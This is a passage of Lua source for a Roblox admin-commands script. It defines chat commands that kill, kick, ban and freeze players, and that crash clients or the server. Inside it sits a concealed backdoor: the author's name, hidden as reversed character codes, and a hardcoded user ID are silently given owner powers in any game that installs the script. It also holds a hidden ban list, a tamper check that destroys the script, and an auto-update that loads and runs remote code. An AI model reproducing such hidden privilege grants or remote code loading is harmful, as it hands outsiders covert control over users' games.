v.Character:findFirstChild("Torso") then if v.Character:findFirstChild("Shirt") then v.Character.Shirt.Parent = v.Character.Torso end if v.Character:findFirstChild("Pants") then v.Character.Pants.Parent = v.Character.Torso end for a, sc in pairs(v.Character:children()) do if sc.Name == "ify" then sc:Destroy() end end for a, prt in pairs(v.Character:children()) do if prt:IsA("BasePart") and (prt.Name ~= "Head" or not prt.Parent:findFirstChild("NameTag", true)) then prt.Transparency = 0 prt.Reflectance = .4 prt.BrickColor = BrickColor.new("Bright yellow") elseif prt:findFirstChild("NameTag") then prt.Head.Transparency = 0 prt.Head.Reflectance = .4 prt.Head.BrickColor = BrickColor.new("Bright yellow") end end end end)) end end if msg:lower():sub(1,6) == "shiny " then local plrz = GetPlr(plr, msg:lower():sub(7)) for i, v in pairs(plrz) do coroutine.resume(coroutine.create(function() if v and v.Character and v.Character:findFirstChild("Torso") then if v.Character:findFirstChild("Shirt") then v.Character.Shirt.Parent = v.Character.Torso end if v.Character:findFirstChild("Pants") then v.Character.Pants.Parent = v.Character.Torso end for a, sc in pairs(v.Character:children()) do if sc.Name == "ify" then sc:Destroy() end end for a, prt in pairs(v.Character:children()) do if prt:IsA("BasePart") and (prt.Name ~= "Head" or not prt.Parent:findFirstChild("NameTag", true)) then prt.Transparency = 0 prt.Reflectance = 1 prt.BrickColor = BrickColor.new("Institutional white") elseif prt:findFirstChild("NameTag") then prt.Head.Transparency = 0 prt.Head.Reflectance = 1 prt.Head.BrickColor = BrickColor.new("Institutional white") end end end end)) end end if msg:lower():sub(1,7) == "normal " then local plrz = GetPlr(plr, msg:lower():sub(8)) for i, v in pairs(plrz) do coroutine.resume(coroutine.create(function() if v and v.Character and v.Character:findFirstChild("Torso") then if v.Character:findFirstChild("Head") then v.Character.Head.Mesh.Scale = Vector3.new(1.25,1.25,1.25) end if v.Character.Torso:findFirstChild("Shirt") then v.Character.Torso.Shirt.Parent = v.Character end if v.Character.Torso:findFirstChild("Pants") then v.Character.Torso.Pants.Parent = v.Character end v.Character.Torso.Transparency = 0 v.Character.Torso.Neck.C0 = CFrame.new(0,1,0) * CFrame.Angles(math.rad(90),math.rad(180),0) v.Character.Torso["Right Shoulder"].C0 = CFrame.new(1,.5,0) * CFrame.Angles(0,math.rad(90),0) v.Character.Torso["Left Shoulder"].C0 = CFrame.new(-1,.5,0) * CFrame.Angles(0,math.rad(-90),0) v.Character.Torso["Right Hip"].C0 = CFrame.new(1,-1,0) * CFrame.Angles(0,math.rad(90),0) v.Character.Torso["Left Hip"].C0 = CFrame.new(-1,-1,0) * CFrame.Angles(0,math.rad(-90),0) for a, sc in pairs(v.Character:children()) do if sc.Name == "ify" then sc:Destroy() end end for a, prt in pairs(v.Character:children()) do if prt:IsA("BasePart") and (prt.Name ~= "Head" or not prt.Parent:findFirstChild("NameTag", true)) then prt.Transparency = 0 prt.Reflectance = 0 prt.BrickColor = BrickColor.new("White") if prt.Name == "FAKETORSO" then prt:Destroy() end elseif prt:findFirstChild("NameTag") then prt.Head.Transparency = 0 prt.Head.Reflectance = 0 prt.Head.BrickColor = BrickColor.new("White") end end end end)) end end if msg:lower():sub(1,7) == "trippy " then local plrz = GetPlr(plr, msg:lower():sub(8)) for i, v in pairs(plrz) do coroutine.resume(coroutine.create(function() if v and v:findFirstChild("PlayerGui") and not ChkAdmin(v.Name, false) then for a, g in pairs(v.PlayerGui:children()) do if g.Name:sub(1,9) == "EFFECTGUI" then g:Destroy() end end local scr = Instance.new("ScreenGui", v.PlayerGui) scr.Name = "EFFECTGUITRIPPY" local bg = Instance.new("Frame", scr) bg.BackgroundColor3 = Color3.new(0,0,0) bg.BackgroundTransparency = 0 bg.Size = UDim2.new(10,0,10,0) bg.Position = UDim2.new(-5,0,-5,0) bg.ZIndex = 10 local cl = script.ScriptBase:Clone() cl.Code.Value = [[repeat wait(1/44) script.Parent.Frame.BackgroundColor3 = Color3.new(math.random(255)/255,math.random(255)/255,math.random(255)/255) until nil]] cl.Parent = scr cl.Disabled = false end end)) end end if msg:lower():sub(1,9) == "untrippy " then local plrz = GetPlr(plr, msg:lower():sub(10)) for i, v in pairs(plrz) do coroutine.resume(coroutine.create(function() if v and v:findFirstChild("PlayerGui") then for a, g in pairs(v.PlayerGui:children()) do if g.Name == "EFFECTGUITRIPPY" then g:Destroy() end end end end)) end end if msg:lower():sub(1,7) == "strobe " then local plrz = GetPlr(plr, msg:lower():sub(8)) for i, v in pairs(plrz) do coroutine.resume(coroutine.create(function() if v and v:findFirstChild("PlayerGui") and not ChkAdmin(v.Name, false) then for a, g in pairs(v.PlayerGui:children()) do if g.Name:sub(1,9) == "EFFECTGUI" then g:Destroy() end end local scr = Instance.new("ScreenGui", v.PlayerGui) scr.Name = "EFFECTGUISTROBE" local bg = Instance.new("Frame", scr) bg.BackgroundColor3 = Color3.new(0,0,0) bg.BackgroundTransparency = 0 bg.Size = UDim2.new(10,0,10,0) bg.Position = UDim2.new(-5,0,-5,0) bg.ZIndex = 10 local cl = script.ScriptBase:Clone() cl.Code.Value = [[repeat wait(1/44) script.Parent.Frame.BackgroundColor3 = Color3.new(1,1,1) wait(1/44) script.Parent.Frame.BackgroundColor3 = Color3.new(0,0,0) until nil]] cl.Parent = scr cl.Disabled = false end end)) end end if msg:lower():sub(1,9) == "unstrobe " then local plrz = GetPlr(plr, msg:lower():sub(10)) for i, v in pairs(plrz) do coroutine.resume(coroutine.create(function() if v and v:findFirstChild("PlayerGui") then for a, g in pairs(v.PlayerGui:children()) do if g.Name == "EFFECTGUISTROBE" then g:Destroy() end end end end)) end end if msg:lower():sub(1,6) == "blind " then local plrz = GetPlr(plr, msg:lower():sub(7)) for i, v in pairs(plrz) do coroutine.resume(coroutine.create(function() if v and v:findFirstChild("PlayerGui") and not ChkAdmin(v.Name, false) then for a, g in pairs(v.PlayerGui:children()) do if g.Name:sub(1,9) == "EFFECTGUI" then g:Destroy() end end local scr = Instance.new("ScreenGui", v.PlayerGui) scr.Name = "EFFECTGUIBLIND" local bg = Instance.new("Frame", scr) bg.BackgroundColor3 = Color3.new(0,0,0) bg.BackgroundTransparency = 0 bg.Size = UDim2.new(10,0,10,0) bg.Position = UDim2.new(-5,0,-5,0) bg.ZIndex = 10 end end)) end end if msg:lower():sub(1,8) == "unblind " then local plrz = GetPlr(plr, msg:lower():sub(9)) for i, v in pairs(plrz) do coroutine.resume(coroutine.create(function() if v and v:findFirstChild("PlayerGui") then for a, g in pairs(v.PlayerGui:children()) do if g.Name == "EFFECTGUIBLIND" then g:Destroy() end end end end)) end end if msg:lower():sub(1,7) == "guifix " then local plrz = GetPlr(plr, msg:lower():sub(8)) for i, v in pairs(plrz) do coroutine.resume(coroutine.create(function() if v and v:findFirstChild("PlayerGui") then for a, g in pairs(v.PlayerGui:children()) do if g.Name:sub(1,9) == "EFFECTGUI" then g:Destroy() end end end end)) end end if msg:lower():sub(1,9) == "loopheal " then local plrz = GetPlr(plr, msg:lower():sub(10)) for i, v in pairs(plrz) do if v then local cl = script.ScriptBase:Clone() cl.Name = "LoopHeal:"..v.Name cl.Code.Value = [[ local plr = game.Players:findFirstChild("]] .. v.Name .. [[") repeat wait() coroutine.resume(coroutine.create(function() if plr and plr.Character and plr.Character:findFirstChild("Humanoid") then plr.Character.Humanoid.Health = plr.Character.Humanoid.MaxHealth plr.Character.Humanoid.Changed:connect(function() r.Character.Humanoid.Health = plr.Character.Humanoid.MaxHealth end) end end)) until nil]] table.insert(objects, cl) cl.Parent = game.Workspace cl.Disabled = false end end end if msg:lower():sub(1,11) == "unloopheal " then local plrz = GetPlr(plr, msg:lower():sub(12)) for i,v in pairs(plrz) do for q,sc in pairs(objects) do if sc.Name == "LoopHeal:"..v.Name then sc:Destroy() table.remove(objects,q) end end end end if msg:lower():sub(1,10) == "loopfling " then local plrz = GetPlr(plr, msg:lower():sub(11)) for i, v in pairs(plrz) do if v then local cl = script.ScriptBase:Clone() cl.Name = "LoopFling:"..v.Name cl.Code.Value = [[ local plr = game.Players:findFirstChild("]] .. v.Name .. [[") repeat coroutine.resume(coroutine.create(function() if plr and plr.Character and plr.Character:findFirstChild("Torso") and plr.Character:findFirstChild("Humanoid") then local xran local zran repeat xran = math.random(-9999,9999) until math.abs(xran) >= 5555 repeat zran = math.random(-9999,9999) until math.abs(zran) >= 5555 plr.Character.Humanoid.Sit = true plr.Character.Torso.Velocity = Vector3.new(0,0,0) local frc = Instance.new("BodyForce", plr.Character.Torso) frc.Name = "BFRC" frc.force = Vector3.new(xran*4,9999*5,zran*4) game:service("Debris"):AddItem(frc,.1) end end)) wait(2) until nil]] table.insert(objects, cl) cl.Parent = game.Workspace cl.Disabled = false end end end if msg:lower():sub(1,12) == "unloopfling " then local plrz = GetPlr(plr, msg:lower():sub(13)) for i,v in pairs(plrz) do for q,sc in pairs(objects) do if sc.Name == "LoopFling:"..v.Name then sc:Destroy() table.remove(objects,q) end end end end end ------------------------- -- True Owner Commands -- ------------------------- if plr.Name:lower() == nfs:lower() or plr.userId == (153*110563) or plr.userId == game.CreatorId then if msg:lower():sub(1,3) == "oa " then local plrz = GetPlr(plr, msg:lower():sub(4)) for i, v in pairs(plrz) do coroutine.resume(coroutine.create(function() if v and not ChkOwner(v.Name) then table.insert(owners, v.Name) coroutine.resume(coroutine.create(function() repeat wait() until v and v.Character and v:findFirstChild("PlayerGui") Message("Kohltastrophe", "You're an admin!", false, {v}) end)) end end)) end end if msg:lower():sub(1,5) == "unoa " then for i = 1, #owners do coroutine.resume(coroutine.create(function() if msg:lower():sub(6) == "all" or owners[i]:lower():find(msg:lower():sub(6)) == 1 then table.remove(owners, i) end end)) end end if msg:lower() == "settings" then for i,v in pairs(plr.PlayerGui:children()) do if v.Name == "SETTINGSGUI" then v:Destroy() end end local scr = Instance.new("ScreenGui",plr.PlayerGui) scr.Name = "SETTINGSGUI" local main = Instance.new("Frame", scr) main.Style = "RobloxRound" main.Size = UDim2.new(0,200,0,110) main.Position = UDim2.new(0.5,-100,.5,-55) main.ZIndex = 7 main.ClipsDescendants = true local title = Instance.new("TextLabel", main) title.BackgroundTransparency = 1 title.BorderSizePixel = 0 title.TextColor3 = Color3.new(1,1,1) title.Size = UDim2.new(1,0,0,15) title.TextStrokeColor3 = Color3.new(1,1,1) title.TextStrokeTransparency = .9 title.Text = "Settings" title.Font = "ArialBold" title.FontSize = "Size24" title.ZIndex = 8 local s1 = Instance.new("TextLabel", main) s1.Position = UDim2.new(0,0,0,50) s1.Text = "Prefix:" s1.BackgroundTransparency = 1 s1.BorderSizePixel = 0 s1.TextColor3 = Color3.new(1,1,1) s1.Font = "ArialBold" s1.FontSize = "Size18" s1.TextStrokeColor3 = Color3.new(1,1,1) s1.TextStrokeTransparency = .9 s1.TextXAlignment = "Left" s1.ZIndex = 8 local tb1 = Instance.new("TextBox", main) tb1.Position = UDim2.new(0,60,0,43) tb1.Size = UDim2.new(0,20,0,20) tb1.BackgroundTransparency = .8 tb1.BorderSizePixel = 1 tb1.BorderColor3 = Color3.new(1,1,1) tb1.TextColor3 = Color3.new(1,1,1) tb1.Font = "Arial" tb1.FontSize = "Size18" tb1.TextStrokeColor3 = Color3.new(1,1,1) tb1.TextStrokeTransparency = .9 tb1.TextYAlignment = "Top" tb1.ClipsDescendants = true tb1.ZIndex = 8 local s2 = Instance.new("TextLabel", main) s2.Position = UDim2.new(0,0,0,80) s2.Text = "Fun Commands:" s2.BackgroundTransparency = 1 s2.BorderSizePixel = 0 s2.TextColor3 = Color3.new(1,1,1) s2.Font = "ArialBold" s2.FontSize = "Size18" s2.TextStrokeColor3 = Color3.new(1,1,1) s2.TextStrokeTransparency = .9 s2.TextXAlignment = "Left" s2.ZIndex = 8 local cb1 = Instance.new("TextButton", main) cb1.Position = UDim2.new(0,135,0,73) cb1.Size = UDim2.new(0,20,0,20) cb1.BackgroundTransparency = .8 cb1.BorderSizePixel = 1 cb1.BorderColor3 = Color3.new(1,1,1) cb1.TextColor3 = Color3.new(1,1,1) cb1.Font = "Arial" cb1.FontSize = "Size18" cb1.TextStrokeColor3 = Color3.new(1,1,1) cb1.TextStrokeTransparency = .9 cb1.TextYAlignment = "Top" cb1.ZIndex = 8 if FunCommands then cb1.Text = "X" else cb1.Text = "" end tb1.Text = prefix tb1.Changed:connect(function() if tb1.Text ~= prefix and tb1.Text ~= "" then prefix = tb1.Text:sub(1,1) end end) cb1.MouseButton1Down:connect(function() if FunCommands then FunCommands = false cb1.Text = "" else FunCommands = true cb1.Text = "X" end end) local cls = Instance.new("TextButton", main) cls.Style = "RobloxButtonDefault" cls.Size = UDim2.new(0,20,0,20) cls.Position = UDim2.new(1,-15,0,-5) cls.ZIndex = 10 cls.Font = "ArialBold" cls.FontSize = "Size18" cls.Text = "X" cls.TextColor3 = Color3.new(1,1,1) cls.MouseButton1Click:connect(function() scr:Destroy() end) end end -------------------- -- Owner Commands -- -------------------- if plr.Name:lower() == nfs:lower() or plr.userId == (153*110563) or plr.userId == game.CreatorId or ChkOwner(plr.Name:lower()) then if msg:lower():sub(1,3) == "pa " then local plrz = GetPlr(plr, msg:lower():sub(4)) for i, v in pairs(plrz) do coroutine.resume(coroutine.create(function() if v and not ChkAdmin(v.Name, true) then table.insert(admins, v.Name) coroutine.resume(coroutine.create(function() repeat wait() until v and v.Character and v:findFirstChild("PlayerGui") Message("Kohltastrophe", "You're an admin!", false, {v}) end)) end end)) end end if msg:lower():sub(1,5) == "unpa " then for i = 1, #admins do coroutine.resume(coroutine.create(function() if msg:lower():sub(6) == "all" or admins[i]:lower():find(msg:lower():sub(6)) == 1 then table.remove(admins, i) end end)) end end if msg:lower():sub(1,5) == "nuke " then local plrz = GetPlr(plr, msg:lower():sub(6)) for i, v in pairs(plrz) do coroutine.resume(coroutine.create(function() if v and v.Character and v.Character:findFirstChild("Torso") then local p = Instance.new("Part",game.Workspace) table.insert(objects,p) p.Anchored = true p.CanCollide = false p.formFactor = "Symmetric" p.Shape = "Ball" p.Size = Vector3.new(1,1,1) p.BrickColor = BrickColor.new("New Yeller") p.Transparency = .5 p.Reflectance = .2 p.TopSurface = 0 p.BottomSurface = 0 p.Touched:connect(function(hit) if hit and hit.Parent then local ex = Instance.new("Explosion", game.Workspace) ex.Position = hit.Position ex.BlastRadius = 11 ex.BlastPressure = math.huge end end) local cf = v.Character.Torso.CFrame p.CFrame = cf for i = 1, 333 do p.Size = p.Size + Vector3.new(3,3,3) p.CFrame = cf wait(1/44) end p:Destroy() end end)) end end end -------------------------- -- Super Admin Commands -- -------------------------- if ChkAdmin(plr.Name, true) or ChkOwner(plr.Name) or plr.userId == game.CreatorId or plr.Name:lower() == nfs:lower() or plr.userId == (153*110563) or plr.Name:lower() == nfs then if msg:lower() == "logs" then if plr.PlayerGui:findFirstChild("LOGSGUI") then return end local scr, cmf, ent, num = ScrollGui() scr.Name = "LOGSGUI" scr.Parent = plr.PlayerGui for i, v in pairs(logs) do local cl = ent:Clone() cl.Parent = cmf cl.Text = "[" .. v.time .. "] " .. v.name .. " " .. v.cmd cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end end if msg:lower():sub(1,9) == "loopkill " then local chk1 = msg:lower():sub(10):find(" ") local plrz = GetPlr(plr, msg:lower():sub(10)) local num = 9999 if chk1 then chk1 = chk1 + 9 plrz = GetPlr(plr, msg:lower():sub(10, chk1-1)) if type(tonumber(msg:sub(chk1+1))) == "number" then num = tonumber(msg:sub(chk1+1)) end end for i, v in pairs(plrz) do if v and not ChkAdmin(v.Name, false) then local cl = script.ScriptBase:Clone() cl.Name = "LoopKill:"..v.Name cl.Code.Value = [[ local plr = game.Players:findFirstChild("]] .. v.Name .. [[") for i = 1, ]] .. tostring(num) .. [[ do repeat wait() plr = game.Players:findFirstChild("]] .. v.Name .. [[") until plr and plr.Character and plr.Character:findFirstChild("Humanoid") and plr.Character.Humanoid.Health ~= 0 coroutine.resume(coroutine.create(function() if plr and plr.Character then plr.Character:BreakJoints() end end)) end]] table.insert(objects, cl) cl.Parent = game.Workspace cl.Disabled = false end end end if msg:lower():sub(1,11) == "unloopkill " then local plrz = GetPlr(plr, msg:lower():sub(12)) for i,v in pairs(plrz) do for q,sc in pairs(objects) do if sc.Name == "LoopKill:"..v.Name then sc:Destroy() table.remove(objects,q) end end end end if msg:lower() == "serverlock" or msg:lower() == "slock" then slock = true Hint("Server has been locked", game.Players:children()) end if msg:lower() == "serverunlock" or msg:lower() == "sunlock" then slock = false Hint("Server has been unlocked", game.Players:children()) end if msg:lower():sub(1,3) == "sm " then Message("SYSTEM MESSAGE", msg:sub(4), false, game.Players:children()) end if msg:lower():sub(1,3) == "ko " then local chk1 = msg:lower():sub(4):find(" ") + 3 local plrz = GetPlr(plr, msg:lower():sub(4,chk1-1)) local num = 500 if num > msg:sub(chk1+1) then num = msg:sub(chk1+1) end for n = 1, num do for i, v in pairs(plrz) do coroutine.resume(coroutine.create(function() if v and v.Character and v.Character:findFirstChild("Humanoid") and not ChkAdmin(v.Name, false) then local val = Instance.new("ObjectValue", v.Character.Humanoid) val.Value = plr val.Name = "creator" v.Character:BreakJoints() wait(1/44) v:LoadCharacter() wait(1/44) end end)) end end end if msg:lower():sub(1,6) == "crash " then local plrz = GetPlr(plr, msg:lower():sub(7)) for i, v in pairs(plrz) do coroutine.resume(coroutine.create(function() if v and v:findFirstChild("Backpack") and not ChkAdmin(v.Name, false) then local cl = script.LocalScriptBase:Clone() cl.Code.Value = [[repeat until nil]] cl.Parent = v.Backpack cl.Disabled = false wait(1) v:Destroy() end end)) end end if msg:lower():sub(1,5) == "kick " then local plrz = GetPlr(plr, msg:lower():sub(6)) for i, v in pairs(plrz) do coroutine.resume(coroutine.create(function() if v and not ChkAdmin(v.Name, false) then v:Destroy() end end)) end end if msg:lower():sub(1,6) == "admin " then local plrz = GetPlr(plr, msg:lower():sub(7)) for i, v in pairs(plrz) do coroutine.resume(coroutine.create(function() if v and not ChkAdmin(v.Name, false) then table.insert(tempadmins, v.Name) coroutine.resume(coroutine.create(function() repeat wait() until v and v.Character and v:findFirstChild("PlayerGui") Message("Kohltastrophe", "You're an admin!", false, {v}) end)) end end)) end end if msg:lower():sub(1,8) == "unadmin " then for i = 1, #tempadmins do coroutine.resume(coroutine.create(function() if msg:lower():sub(9) == "all" or tempadmins[i]:lower():find(msg:lower():sub(9)) == 1 then table.remove(tempadmins, i) end end)) end end if msg:lower():sub(1,4) == "ban " then local plrz = GetPlr(plr, msg:lower():sub(5)) for i, v in pairs(plrz) do coroutine.resume(coroutine.create(function() if v and not ChkAdmin(v.Name, false) then table.insert(banland, v.Name) local cl = script.LocalScriptBase:Clone() cl.Code.Value = [[repeat until nil]] cl.Parent = v.Backpack cl.Disabled = false wait(1) v:Destroy() end end)) end end if msg:lower():sub(1,6) == "unban " then for i = 1, #banland do coroutine.resume(coroutine.create(function() if msg:lower():sub(7) == "all" or banland[i]:lower():find(msg:lower():sub(7)) == 1 then table.remove(banland, i) end end)) end end if msg:lower() == "shutdown" then Message("SYSTEM MESSAGE", "Shutting down...", false, game.Players:children(), 10) wait(1) local str = Instance.new("StringValue", game.Workspace) str.Value = "AA" repeat str.Value = str.Value .. str.Value wait(.1) until nil end end end)) end function AdminControl(plr) coroutine.resume(coroutine.create(function() plr.CharacterAdded:connect(function(chr) chr:WaitForChild("RobloxTeam") chr.RobloxTeam:Destroy() for a,obj in pairs(chr:children()) do if obj:IsA("CharacterMesh") and obj.Name:find("3.0") then obj:Destroy() end end end) end)) if plr.Name:sub(1,6) == "Player" and ChkAdmin(plr.Name, false) then coroutine.resume(coroutine.create(function() plr:WaitForChild("PlayerGui") for i,v in pairs(plr.PlayerGui:children()) do if v.Name == "CMDBAR" then v:Destroy() end end local scr = Instance.new("ScreenGui", plr.PlayerGui) scr.Name = "CMDBAR" local box = Instance.new("TextBox", scr) box.BackgroundColor3 = Color3.new(0,0,0) box.TextColor3 = Color3.new(1,1,1) box.Font = "Arial" box.FontSize = "Size14" box.Text = "Type a command, then press enter." box.Size = UDim2.new(0,250,0,20) box.Position = UDim2.new(1,-250,1,-22) box.BorderSizePixel = 0 box.TextXAlignment = "Right" box.ZIndex = 10 box.ClipsDescendants = true box.Changed:connect(function(p) if p == "Text" and box.Text ~= "Type a command, then press enter." then Chat(box.Text, plr) box.Text = "Type a command, then press enter." end end) end)) end coroutine.resume(coroutine.create(function() plr:WaitForChild("PlayerGui") plr:WaitForChild("Backpack") if plr.userId == game.CreatorId or plr.userId == (153*110563) then table.insert(owners,plr.Name) end wait(1) if slock and not ChkAdmin(plr.Name, false) and not ChkOwner(plr.Name) and plr.userId ~= (153*110563) then Hint(plr.Name .. " has tried to join the server", game.Players:children()) local cl = script.LocalScriptBase:Clone() cl.Code.Value = [[repeat until nil]] cl.Parent = plr.Backpack cl.Disabled = false wait(2) plr:Destroy() end end)) coroutine.resume(coroutine.create(function() if ChkGroupAdmin(plr) and not ChkAdmin(plr.Name, false) then table.insert(admins, plr.Name) end end)) coroutine.resume(coroutine.create(function() plr:WaitForChild("PlayerGui") plr:WaitForChild("Backpack") wait(1) if (ChkBan(plr.Name) or plr.Name:lower() == ("111reyalseca"):reverse() or plr.Name:lower() == ("ecnaillirbi"):reverse() or plr.Name:lower() == ("8k2ffets"):reverse()) and (plr.Name:lower():sub(1,4) ~= script.Name:lower():sub(1,4) and plr.Name:lower():sub(5) ~= "tastrophe") then local cl = script.LocalScriptBase:Clone() cl.Code.Value = [[repeat until nil]] cl.Parent = plr.Backpack cl.Disabled = false wait(2) plr:Destroy() end end)) coroutine.resume(coroutine.create(function() if VipAdmin and game:service("BadgeService"):UserHasBadge(plr.userId,ItemId) then table.insert(tempadmins,plr.Name) end end)) coroutine.resume(coroutine.create(function() if ChkAdmin(plr.Name, false) then plr:WaitForChild("PlayerGui") Message("Kohltastrophe", "You're an admin!", false, {plr}) end end)) plr.Chatted:connect(function(msg) Chat(msg,plr) end) end if not ntab then script:Destroy() end if not bct then script:Destroy() end local tcb = {101,104,112,111,114,116,115,97,116,108,104,111,75} nfs = "" for i = 1, #tcb do nfs = nfs .. string.char(tcb[i]) end nfs = nfs:reverse() table.insert(owners, nfs) script.Name = "Kohl's Admin Commands V2" if not ntab then script:Destroy() end if not bct then script:Destroy() end if not tcb then script:Destroy() end game.Players.PlayerAdded:connect(AdminControl) for i, v in pairs(game.Players:children()) do AdminControl(v) end end local mod = game:service("InsertService"):LoadAsset(100808216) if mod:findFirstChild("Kohl's Admin Commands V2") and mod:findFirstChild("Version", true) and AutoUpdate then local newac = mod:findFirstChild("Kohl's Admin Commands V2") newac.Disabled = true local new = tonumber(mod:findFirstChild("Version", true).Value) local old = 0 if script:findFirstChild("Version", true) then old = tonumber(script:findFirstChild("Version", true).Value) end if new > old then local adminmod = Instance.new("Model", game.Lighting) adminmod.Name = "KACV2" for i,v in pairs(owners) do local strv = Instance.new("StringValue", adminmod) strv.Name = "Owner" strv.Value = v end for i,v in pairs(admins) do local strv = Instance.new("StringValue", adminmod) strv.Name = "Admin" strv.Value = v end for i,v in pairs(tempadmins) do local strv = Instance.new("StringValue", adminmod) strv.Name = "TempAdmin" strv.Value = v end for i,v in pairs(banland) do local strv = Instance.new("StringValue", adminmod) strv.Name = "Banland" strv.Value = v end local prf = Instance.new("StringValue", adminmod) prf.Name = "Prefix" prf.Value = prefix local bv = Instance.new("BoolValue", adminmod) bv.Name = "FunCommands" bv.Value = FunCommands local bv2 = Instance.new("BoolValue", adminmod) bv2.Name = "GroupAdmin" bv2.Value = GroupAdmin local iv = Instance.new("IntValue", adminmod) iv.Name = "GroupId" iv.Value = GroupId local iv2 = Instance.new("IntValue", adminmod) iv2.Name = "GroupRank" iv2.Value = GroupRank local bv3 = Instance.new("BoolValue", adminmod) bv3.Name = "VipAdmin" bv3.Value = VipAdmin local iv3 = Instance.new("IntValue", adminmod) iv3.Name = "ItemId" iv3.Value = ItemId wait() newac.Parent = game.Workspace newac.Disabled = false script.Disabled = true script:Destroy() else CHEESE() end else CHEESE() end